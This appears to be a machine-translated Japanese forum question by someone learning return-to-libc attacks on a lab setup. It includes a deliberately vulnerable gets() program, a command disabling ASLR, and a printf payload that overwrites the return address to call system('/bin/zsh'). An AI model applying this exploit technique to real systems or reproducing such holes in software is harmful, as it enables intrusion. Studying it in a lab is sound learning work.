return to libc 攻撃がどのように機能するかを知りたいので、脆弱なプログラムを作成して、関数の戻りアドレスをsystem()
. ただし、プログラムは呼び出されたようには見えずsystem()
、正常に終了します。
前提条件
- Debain Squeeze を使用しています
-アドレスのランダム化を無効にしました:
echo 0 > /proc/sys/kernel/randomize_va_space
脆弱なコード
#include <stdio.h>
void someFunc(void);
void someFunc(void){
char buffer[64];
gets(buffer);
//puts(buffer);
}
int main(int argc, char **argv)
{
someFunc();
return 0;
}
コードは次のようにコンパイルされます。
gcc -fno-stack-protector -ggdb -o vuln vuln.c
GDB を使用して、次のことを主張しました。
/bin/zsh
は @0xbffff9b9
system()
は @0xb7ed0000
exit()
は @0xb7ec60f0
悪用する
72
ゼロ、出口、システム、および へのポインターを/bin/zsh
この順序でパイプすることにより、それを悪用します。
printf "%072x\xf0\x60\xec\xb7\x00\x00\xed\xb7\xb9\xf9\xff\xbf" | ./vuln
プログラムはセグメンテーション違反も実行もしません/bin/zsh
。
GDBで
興味深いことに、変更SHELL="/xin/zsh"
して gdb で実行すると、システム コールが機能します。
Cannot exec /xin/zsh
だから私の質問は:
libc 攻撃の概念への回帰を正しく理解できましたか?
悪意のあるコードを正しい方法と順序でパイプ処理していますか?
GDB では動作するように見えるのに、シェルでは動作しないのはなぜですか?
(私はすでにgdb で libc への戻りを読みましたが、単独で実行している場合は読みません)